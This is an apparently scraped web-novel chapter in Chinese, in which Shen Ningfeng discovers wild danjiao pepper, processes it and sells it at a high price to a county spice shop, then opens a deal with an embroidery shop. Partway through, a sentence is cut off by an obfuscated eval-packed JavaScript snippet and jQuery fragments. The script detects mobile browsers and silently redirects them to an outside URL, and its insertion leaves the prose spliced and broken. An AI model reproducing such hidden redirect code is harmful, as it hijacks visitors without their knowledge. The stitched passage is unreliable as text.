默认冷灰
24号文字
方正启体

18. 第18章 谈生意

作者:撑花遮本书字数:K更新时间:
    秋收过后,一切如旧。


    沈宁风基本已经熟练掌握了珠算和口诀,她开始用阿野为学生们制作的简易算盘教授一些基本的技法。


    学童们下学回家走在一起,嘴里常常会吟诵当日所学的口诀。“一上一,二上二……”顺口溜一般的口诀在乡里田间回荡,俨然一番向学之风。


    村民们对沈宁风又转变了态度。那些“不能干活”的言语消了下去,取而代之的是认可和赞扬。


    “沈先生还是有本事的,娃儿不仅能识字,还会算账了。以后啊,不会受地主欺负了。”


    “可不是嘛,跟着沈先生学得好了,以后说不定还能去大户人家做上等工,拿现钱哩!”


    “你们说咱沈先生,是个什么来头呀?有能力不说,还不收学费,莫不真是老天派来的神仙哟?”


    “沈先生还有一点好啊,她男娃女娃都教,我家金花儿以后也要有沈先生那么能干就好咯,祖宗显灵哟!”


    “是哟是哟,会认字的女娃以后怕是要嫁到县里去咯,姑爷也肯定是人才的。”


    “是嘞是嘞。”


    “……”


    沈宁风对这种调转了风头的评价并不在意,她知道,等到要干活的时节,她一样会被人背后议论。


    学生们的家长在地里收获过后,都给她送去了一些东西。虽然不值什么钱,对无法干活的沈宁风来说,总算是觉得自己有那么点用,不再纯纯地是阿野的累赘了。


    阿野最近去山上去得勤了,不仅仅为打猎,还为冬日的到来做准备。他每日下山都会背一大捆柴回家,都垒在了墙壁边上。


    这一日,阿野从山上归来,背篓里多了一小捆带刺的枝条,上面一团团一簇簇地结着一些绿豆大小的小红果。阿野比往日沉默,他将这背篓往墙角一扔,径直进屋舀了一大瓢水,咕咚咕咚地灌了下去。


    沈宁风见了,关心道:“怎么了?水没带够吗?”


    “尝了一点野果子,嘴里木了半天,不知是不是有毒。小风来帮我看看,我嘴里是不是异常?”说罢他便走到沈宁风跟前,张开了嘴。


    沈宁风捧着他的脸左右看了看,道:“没什么异常呀。你也真是的,什么不知道的野果子都吃,胆儿挺大啊!”


    “那一片林子都是这小红果,煞是好看,忍不住尝了尝,哎呀那味儿,冲鼻子得很。我只咬了一颗,舌头瞬间就木了,该是……不会毒死我吧?”阿野有一点儿担忧,看着沈宁风,希望她能说几句安慰的话。


    “鸟儿都不吃的红果子,你还敢吃。幸好我没去,不然可得被你忽悠也吃上一颗了……”沈宁风翻着白眼,服了阿野这股子莽劲。


    “嘻嘻,你还别说,我给你带回来。”阿野先是坏笑,而后似乎是怕沈宁风真的生气,赶忙解释道:“是我看那枝条确实好看,想着你定是喜欢的。你们读书人,不最是喜欢这种很有野趣的枝丫么?以前蒋先生看我砍的柴里有那种怪模怪样的枝丫条儿,他还说向我买哩!”


    阿野生怕沈宁风不信他的话,他立马去墙角的背篓里取出了那一小捆枝丫给沈宁风看。


    沈宁风小心地接过有着小刺的枝条,她摘了一颗小红果,用指甲掐开了,油点渗出,香味陡然浓郁。


    她的手指停在了半空——是丹椒。她在北国时候,曾在国宴上闻到过这种味道。听说是每年从蜀地进贡而来,提神霸道的香气很得宫里的女人喜爱。


    “你在哪里找到的?你说,有一大片林子?”沈宁风神情严肃,不似先前的嬉笑面色。


    阿野被她的神色惊到了,“就、就山里……我是翻过了两个山头,看到一片向阳坡地,那儿有、有一片。真的、真的有毒啊?我不会死吧,我嘴不木了呀……”


    沈宁风没有回答,只是叫他把红果儿都尽数摘下来。她捡了几颗,拿一片瓦盛了,放在灶膛里用小火慢慢地焙干。


    半个时辰后,她又将烘干的果实碾成了粉末。她闻了闻,很是满意,撒了一些进寡淡的菜汤里头。


    “尝尝!”沈宁风面带笑容,对阿野说道。


    阿野喝了一口,有点不可置信,又喝了一口。


    “这、这是那野果子?这味儿,太得劲了!”阿野又喝了一碗,意犹未尽。


    “这几日你也别砍柴了,就去那林子,悄悄地把果儿都摘回来。”沈宁风喝了一口汤,惬意地扬了扬眉,吩咐道。


    “这东西值钱?你认识?”阿野不禁又对沈宁风的见多识广佩服不已。


    接连几日,阿野都拿着麻袋去到那片林子里摘野花椒。沈宁风则在院里铺了席子,将采集回来的花椒晒干。一个太阳的曝晒后,沈宁风便将花椒集到一个筛子里,拿了一把小杵子,捣啊捣,将黑亮亮的花椒籽筛了出去。她将去籽后的花椒又晒了几个太阳,便收到了干燥通风处。


    阿野看着房梁上挂着的几大口袋“丹椒”,不知道这玩意儿如何能换钱?


    这一日,沈宁风给学堂的学生放了三日假,说要进城去买纸笔。她拉了阿野,问道:“你去过县城,那你是不是很了解县城的各式商铺?”


    “那当然了!别看我不怎么识字,以前我经常去卖毛皮,那最繁华的一条街的铺子,我都能说个七七八八。”阿野挺着胸,俨然一副“让我给你好生说道说道”的架势。


    “行呗,靠你了!”沈宁风装了一口袋丹椒,又戴了面纱斗笠,和阿野雇了驴车进城去。


    “那你说说,城里最大的香料铺子是哪里?”在车上,沈宁风半倚着,她的面纱撩了起来,舒服的地吹着风。


    “城里生意最好的香料铺子是陈记,听说他家的香料都是供应各大酒家、大户,质量好但贵……还有一个蒲记,也做得大,走量,做普通酒肆驿馆和百姓的生意,我去过,掌柜的挺好……”阿野说起来滔滔不绝,势必要将他过去二十年的见闻,今朝一吐为快。


    沈宁风懒洋洋地拿起装丹椒的袋子,便阿野扔过去,问道:“你来猜一猜,这一小袋子咱能卖多少钱?”


    阿野掂了掂,估计只有两斤,他咬着嘴唇想了一会儿,不大有把握地回道:“这么大费周章地又摘又晒又舂的,得两百文才不算白干吧……”


    ……


    “十两!”戴着面纱斗笠的沈宁风一把将丹椒袋子夺过来,对陈记掌柜道,“十两一斤。你若是不知道这是什么,最好是找个识货的人过来。这是专供皇家的丹椒,品质堪比蜀椒。你们若是没有兴趣,我便去卖与蒲记……”


    阿野看着沈宁风与掌柜谈价的样子,张着嘴巴,呆若木鸡。


    “这位娘子,好说、好说!”陈记老板出了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309863|198781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面,查看了沈宁风的货,客气地请她进去喝茶。


    “我忙得很,茶就不喝了。这货,你要还是不要?”沈宁风装出一副不耐烦的样子,问陈老板道。


    “要、要!娘子有多少我要多少。这丹椒珍稀,向来只有皇家专享,宁京的有钱人家都难得一见,何况我们这小县城。蜀地离此路途遥远。娘子你给我透句实话,这丹椒……来历是否……”陈老板看来是见多识广之人,识得丹椒的价值。


    “这你不用担心,来历清白得很,是我们自家种植的,今年的收成也就几十斤。陈老板若有意收购,就按这个价格,过几日我叫我的人给你送过来。”


    陈老板眯着眼睛打量了沈宁风半天,他很难相信沈宁风是种地的人。不过他看了看她身后的阿野,倒打消了疑虑。


    这女子,看起来像个地主婆。她的话,应是可信的。


    陈老板买下了沈宁风此次的两斤货,又付了十两的定金,要她十日内将剩下的货都带过来。


    沈宁风一下子就拿到了三十两银子,心里乐开了花。本来她想让阿野揣着的,可阿野这辈子都没见过这么多银子,心里怕得很。沈宁风只好放自己兜里了,沉甸甸的,比任何虚无缥缈的承诺来得实在。


    沈宁风一手挽住了阿野,笑容甜美,道:“多亏了我郎君没日没夜地给我干活,咱们赚钱了,我要送你一件礼物!”


    沈宁风将阿野拽进了一个名叫“一品斋”的铺子,这个铺子是卖各式文房四宝书籍玩物的大店。以前阿野也曾在门外徘徊过,不过那时候大字不识,没有勇气走进去。


    沈宁风给他挑了一套上好的文房四宝,又买了四书五经。她又想到了学堂的孩子们,便又买了一批纸墨。看店里还有算盘卖,沈宁风一激动想买,被阿野制止,道:“孩子们离真的会用算盘还早呢,不如到时候再来买罢。”沈宁风转念一想,又不想辜负了阿野搓了好久的泥丸儿,便应了。


    二人吃了午饭,下午去了绣庄。阿野以为沈宁风是要做衣服,谁知她摇了摇头,神秘兮兮道:“我是去谈生意的。”


    沈宁风来到柜台,对一个打算盘模样的男子道:“掌柜,我想买素面香囊,如何卖的?”


    “素面香囊三文一个。”掌柜头也不抬。


    “如果我买得多,可否便宜一些?”


    “你要多少?”掌柜依然忙着看账本,看也没看和他说话的人。


    “一百个。”沈宁风没有迟疑地说出这个数。


    掌柜总算抬起头来看她了。眼前戴着白色面纱斗笠的女子给人一种神秘感。她从容有余,不像普通女子,倒像做生意的老手,经手的都是成千上万的大生意。


    掌柜一时拿不准此女的来历。按理说,第一次来的客人开口就要买这么多,很可能会是个长期的主顾。


    “看这位娘子资容不凡,那就收你二百八十文罢,还望娘子以后常来。”掌柜笑容盈盈地说。


    “掌柜的慧眼,小女子不仅要买素面香囊,我还想跟掌柜的谈笔生意,不知掌柜的有没有兴趣?”面纱下的沈宁风让人看不真切,但不知为何,就给人一种贵气逼人的模样,她的一举一动,都让人挪不开眼睛。


    “娘子请讲,在下洗耳恭听。”掌柜见识多了各色人等,沈宁风这样的,感觉很有搞头。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)